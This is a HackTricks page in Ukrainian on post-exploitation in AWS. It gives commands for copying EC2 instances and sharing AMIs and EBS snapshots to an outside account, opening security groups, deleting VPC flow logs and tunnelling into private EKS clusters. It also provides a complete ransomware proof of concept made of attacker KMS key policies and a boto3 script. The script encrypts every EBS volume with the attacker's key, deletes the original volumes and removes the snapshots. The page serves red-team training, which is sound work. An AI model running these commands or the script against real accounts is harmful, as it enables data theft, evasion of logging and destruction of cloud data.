AWS - EC2, EBS, SSM & VPC Post Exploitation
Reading time: 14 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
EC2 & VPC
Для отримання додаткової інформації перегляньте:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Зловмисне дзеркало VPC - ec2:DescribeInstances
, ec2:RunInstances
, ec2:CreateSecurityGroup
, ec2:AuthorizeSecurityGroupIngress
, ec2:CreateTrafficMirrorTarget
, ec2:CreateTrafficMirrorSession
, ec2:CreateTrafficMirrorFilter
, ec2:CreateTrafficMirrorFilterRule
Дзеркалювання трафіку VPC дублює вхідний та вихідний трафік для EC2 інстансів у VPC без необхідності встановлювати щось на самих інстансах. Цей дубльований трафік зазвичай надсилається на щось на кшталт системи виявлення мережевих вторгнень (IDS) для аналізу та моніторингу.
Зловмисник може зловживати цим, щоб захопити весь трафік і отримати чутливу інформацію з нього:
Для отримання додаткової інформації перегляньте цю сторінку:
Копіювати працюючий інстанс
Інстанси зазвичай містять якийсь чутливий інформацію. Є різні способи потрапити всередину (перегляньте трюки підвищення привілеїв EC2). Однак інший спосіб перевірити, що він містить, це створити AMI та запустити новий інстанс (навіть у вашому власному обліковому записі) з нього:
# List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS Snapshot dump
Снімки є резервними копіями томів, які зазвичай міститимуть чутливу інформацію, тому їх перевірка повинна розкрити цю інформацію.
Якщо ви знайдете том без снімка, ви можете: Створити снімок і виконати наступні дії або просто підключити його до екземпляра в обліковому записі:
Data Exfiltration
DNS Exfiltration
Навіть якщо ви заблокуєте EC2, щоб жоден трафік не міг вийти, він все ще може екстрагувати дані через DNS.
- VPC Flow Logs не зафіксують це.
- У вас немає доступу до AWS DNS журналів.
- Вимкніть це, встановивши "enableDnsSupport" на false за допомогою:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
Exfiltration via API calls
Зловмисник може викликати API кінцеві точки облікового запису, яким він керує. Cloudtrail зафіксує ці виклики, і зловмисник зможе побачити екстраговані дані в журналах Cloudtrail.
Open Security Group
Ви можете отримати подальший доступ до мережевих служб, відкривши порти таким чином:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
Можливо запустити EC2 екземпляр і зареєструвати його для використання для запуску ECS екземплярів, а потім вкрасти дані ECS екземплярів.
Для додаткової інформації перегляньте це.
Remove VPC flow logs
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
SSM Port Forwarding
Необхідні дозволи:
ssm:StartSession
На додаток до виконання команд, SSM дозволяє тунелювання трафіку, що може бути використано для переходу з EC2 інстансів, які не мають мережевого доступу через Security Groups або NACLs. Один зі сценаріїв, де це корисно, - це перехід з Bastion Host до приватного EKS кластера.
Щоб розпочати сесію, вам потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
- Встановіть SessionManagerPlugin на вашому комп'ютері
- Увійдіть до Bastion EC2, використовуючи наступну команду:
aws ssm start-session --target "$INSTANCE_ID"
- Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта Abusing SSRF in AWS EC2 environment
- Перенесіть облікові дані на свій комп'ютер у файл
$HOME/.aws/credentials
як профіль[bastion-ec2]
- Увійдіть в EKS як Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
- Оновіть поле
server
у файлі$HOME/.kube/config
, щоб вказати наhttps://localhost
- Створіть тунель SSM наступним чином:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
- Трафік з інструменту
kubectl
тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного EKS кластера з вашої власної машини, запустивши:
kubectl get pods --insecure-skip-tls-verify
Зверніть увагу, що SSL-з'єднання не вдасться встановити, якщо ви не встановите прапорець --insecure-skip-tls-verify
(або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через безпечний AWS SSM тунель, ви захищені від будь-яких атак MitM.
Нарешті, ця техніка не є специфічною для атак на приватні EKS кластери. Ви можете встановити довільні домени та порти для переходу до будь-якої іншої служби AWS або до власного додатку.
Share AMI
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Пошук чутливої інформації в публічних та приватних AMI
- https://github.com/saw-your-packet/CloudShovel: CloudShovel - це інструмент, призначений для пошуку чутливої інформації в публічних або приватних образах Amazon Machine Images (AMIs). Він автоматизує процес запуску екземплярів з цільових AMI, монтування їхніх томів та сканування на наявність потенційних секретів або чутливих даних.
Поділитися знімком EBS
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS Ransomware PoC
Доказ концепції, подібний до демонстрації Ransomware, показаної в нотатках з пост-експлуатації S3. KMS слід перейменувати на RMS для Ransomware Management Service через те, як легко його використовувати для шифрування різних сервісів AWS.
Спочатку з облікового запису 'атакуючого' AWS створіть ключ, керований користувачем, у KMS. Для цього прикладу ми просто дозволимо AWS керувати даними ключа, але в реалістичному сценарії зловмисник зберіг би дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому Principal облікового запису AWS використовувати ключ. Для цієї політики ключа ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє весь доступ, називається 'Outside Encryption'
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Правило політики ключа потребує активації наступних дозволів, щоб мати можливість використовувати його для шифрування обсягу EBS:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Тепер, маючи публічно доступний ключ для використання. Ми можемо використовувати обліковий запис 'жертви', в якому запущено кілька екземплярів EC2 з прикріпленими нешифрованими обсягами EBS. Обсяги EBS цього 'жертви' є нашою ціллю для шифрування, ця атака здійснюється за припущенням про злом облікового запису AWS з високими привілеями.
Подібно до прикладу з програмами-вимагачами S3. Ця атака створить копії прикріплених обсягів EBS за допомогою знімків, використає публічно доступний ключ з облікового запису 'зловмисника' для шифрування нових обсягів EBS, потім від'єднає оригінальні обсяги EBS від екземплярів EC2 і видалить їх, а потім нарешті видалить знімки, використані для створення нових зашифрованих обсягів EBS.
В результаті залишаться лише зашифровані обсяги EBS, доступні в обліковому записі.
Також варто зазначити, що скрипт зупинив екземпляри EC2, щоб від'єднати та видалити оригінальні обсяги EBS. Оригінальні нешифровані обсяги тепер зникли.
Далі, поверніться до політики ключа в обліковому записі 'зловмисника' та видаліть правило політики 'Зовнішнє шифрування' з політики ключа.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Зачекайте момент, поки нова політика ключа не пошириться. Потім поверніться до облікового запису 'жертви' і спробуйте приєднати один з нових зашифрованих EBS томів. Ви виявите, що можете приєднати том.
Але коли ви спробуєте фактично запустити EC2 інстанс з зашифрованим EBS томом, він просто не вдасться і перейде з стану 'очікування' назад у стан 'зупинено' назавжди, оскільки приєднаний EBS том не може бути розшифрований за допомогою ключа, оскільки політика ключа більше не дозволяє це.
Це python-скрипт, який використовується. Він приймає AWS облікові дані для облікового запису 'жертви' та публічно доступне значення AWS ARN для ключа, який буде використовуватися для шифрування. Скрипт створить зашифровані копії ВСІХ доступних EBS томів, приєднаних до ВСІХ EC2 інстансів у цільовому AWS обліковому записі, потім зупинить кожен EC2 інстанс, від'єднає оригінальні EBS томи, видалить їх і, нарешті, видалить всі знімки, використані під час процесу. Це залишить лише зашифровані EBS томи в цільовому обліковому записі 'жертви'. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ТІЛЬКИ В ТЕСТОВОМУ СЕРЕДОВИЩІ, ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS ТОМИ. Ви можете відновити їх, використовуючи KMS ключ, і відновити їх до їхнього початкового стану через знімки, але просто хочу, щоб ви знали, що це в кінцевому підсумку є PoC для програм-вимагачів.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.